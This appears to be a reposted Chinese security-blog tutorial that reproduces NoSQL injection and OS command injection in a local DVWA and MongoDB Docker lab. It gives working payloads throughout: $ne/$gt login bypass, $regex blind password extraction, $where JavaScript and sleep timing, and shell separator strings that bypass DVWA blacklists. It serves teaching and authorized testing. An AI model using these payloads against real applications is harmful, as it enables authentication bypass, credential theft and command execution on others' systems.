文章总结: 本文复现NoSQL注入与OS命令注入两类漏洞。NoSQL注入利用MongoDB的ne、gt、regex及where操作符实现逻辑绕过、布尔盲注与JS表达式逃逸;OS命令注入通过DVWA靶场演示Low至High级别绕过黑名单过滤。文章提供Docker环境搭建步骤与具体Payload,强调仅限授权测试与防御加固,具备较强实战参考价值。
综合评分: 82
文章分类: 渗透测试,漏洞分析,WEB安全,红队
NoSQL 注入与 OS 命令注入复现
ddyy
ddyy
DD2580
2026年9月1日 22:40
四川
在小说阅读器读本章
去阅读
在公众号小说中沉浸阅读
免责声明:本文所涉及的技术实操与配置仅用于网络安全技术研究、学术交流与防御加固实践。任何个人或组织严禁将本文内容用于非法侵入或破坏计算机系统等违法活动,违者法律责任自负,与作者及平台无关。
0x00 靶场环境搭建
使用 Docker 一键拉取并启动演练靶机环境:
# 1. 启动 DVWA 命令执行演练容器(映射至宿主机 8090 端口)sudo docker run -d --name dvwa -p 8090:80 vulnerables/web-dvwa
# 2. 启动 MongoDB 实验数据库容器(映射至 27017 端口)sudo docker run -d --name mongodb -p 27017:27017 mongo:4.4
# 3. 验证容器运行状态sudo docker ps | grep -E "dvwa|mongodb"
0x01 NoSQL 注入复现
NoSQL 注入的核心在于:后端直接将用户提交的 JSON 对象或查询参数代入数据库查询引擎,可以通过注入 MongoDB 查询操作符(以 $ 开头)改变查询逻辑。
1.进入数据库并初始化测试数据
# 进入 MongoDB 容器交互终端sudo docker exec -it mongodb mongo
在 MongoDB Shell(> 提示符)中执行初始化命令:
// 切换至演练数据库并写入测试管理员数据use vuln_db;db.users.drop();db.users.insertOne({ username: "admin", password: "flag{NoSQL_Injection_Success}", role: "administrator"});
2.查询操作符逻辑绕过($ne / $gt)
业务原本逻辑:后端预期传入字符串形式的 password,执行等值匹配:{ username: “admin”, password: “user_input” }。
注入机理:传入对象 {“$ne”: “wrong_password”},查询条件变为“查找用户名为 admin 且密码不等于该字符串的记录。
// 1. 基线测试:密码错误(返回为空,认证失败)db.users.find({ username: "admin", password: "wrong_password" });
// 2. 注入 $ne 操作符:只要密码不等于 "wrong_password" 即判定为真(返回完整管理员记录)db.users.find({ username: "admin", password: { $ne: "wrong_password" } });
// 3. 注入 $gt 操作符:只要密码 ASCII 码大于空字符串即判定为真db.users.find({ username: "admin", password: { $gt: "" } });
无需知晓管理员明文密码,直接利用逻辑短路提取出管理员账号
3.基于 $regex 正则操作符的布尔盲注
当系统不回显数据明文,仅返回“登录成功/失败”(真/假状态)时,可通过 $regex 逐位提取密码明文。
// 1. 探测密码首字符是否为 'a'(未命中,返回空)db.users.find({ username: "admin", password: { $regex: "^a" } });
// 2. 探测密码首字符是否为 'f'(命中,成功返回数据)db.users.find({ username: "admin", password: { $regex: "^f" } });
// 3. 探测前缀是否为 'flag{'(命中)db.users.find({ username: "admin", password: { $regex: "^flag\\{" } });
通过遍历[a-zA-Z0-9{}_]字符集,当查询命中时记录当前字符并追加至下一位前缀,直至匹配完整字符串
4.$where 子句 JavaScript 表达式逃逸
部分老旧系统使用 $where 子句执行动态 JS 表达式。若外部参数直接拼接入字符串,将导致任意 JS 表达式执行与逻辑短路。
// 模拟后端拼接代码:db.users.find({ $where: "this.username == '" + input + "'" })
// 恶意输入构造:admin' || '1'=='1db.users.find({ $where: "this.username == 'admin' || '1'=='1'" });
// 利用 JavaScript 内置函数执行延迟(时间盲注验证)db.users.find({ $where: "if(this.username == 'admin') { sleep(2000); } return true;" });
测试完毕退出 MongoDB 终端:
exit
0x02 OS 命令注入复现
Web 应用调用系统底层 Shell(如 /bin/sh、cmd.exe)执行命令时,未对用户输入的参数边界进行严格隔离,导致不可信数据直接拼接入命令行。
网站需要调用系统功能(例如 ping 一个 IP),后端把用户输入的内容直接拼接到系统命令里(如 ping -c 4 ip)并交给系统的 Shell(/bin/sh)去执行。
系统 Shell 在执行命令时,依靠特殊符号来连接多条指令:
- ;(分号):顺序执行前后两条命令。
- |(管道符):把前面命令的结果传给后面,仅展示后面命令的输出。
- &&(逻辑与):前面执行成功才执行后面。
在输入 IP 时附加上连接符和恶意指令(如 127.0.0.1; whoami),Shell 会将其拆分成两条命令分别执行。
1.DVWA 靶场初始化与登录
浏览器访问:http://192.168.10.17:8090/setup.php
滑到底部:点击Create / Reset Database
输入默认凭据:账号 admin,密码 password
点击左侧导航栏 【Command Injection】
2.Low 级别(无过滤)
127.0.0.1; whoami
3.Medium 级别(黑名单过滤绕过)
后端用黑名单过滤了 ; 和 &&,但漏掉了管道符 |。
127.0.0.1 | id
Ping 的结果被管道符丢弃,直接显示id的结果
4.High 级别(黑名单笔误绕过)
后端黑名单想过滤管道符,但代码里误写成了 ‘| ‘(带空格的管道符);
执行的命令不能包含减号 – 等黑名单字符。
127.0.0.1|pwd
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:DD2580 ddyy
ddyy《NoSQL 注入与 OS 命令注入复现》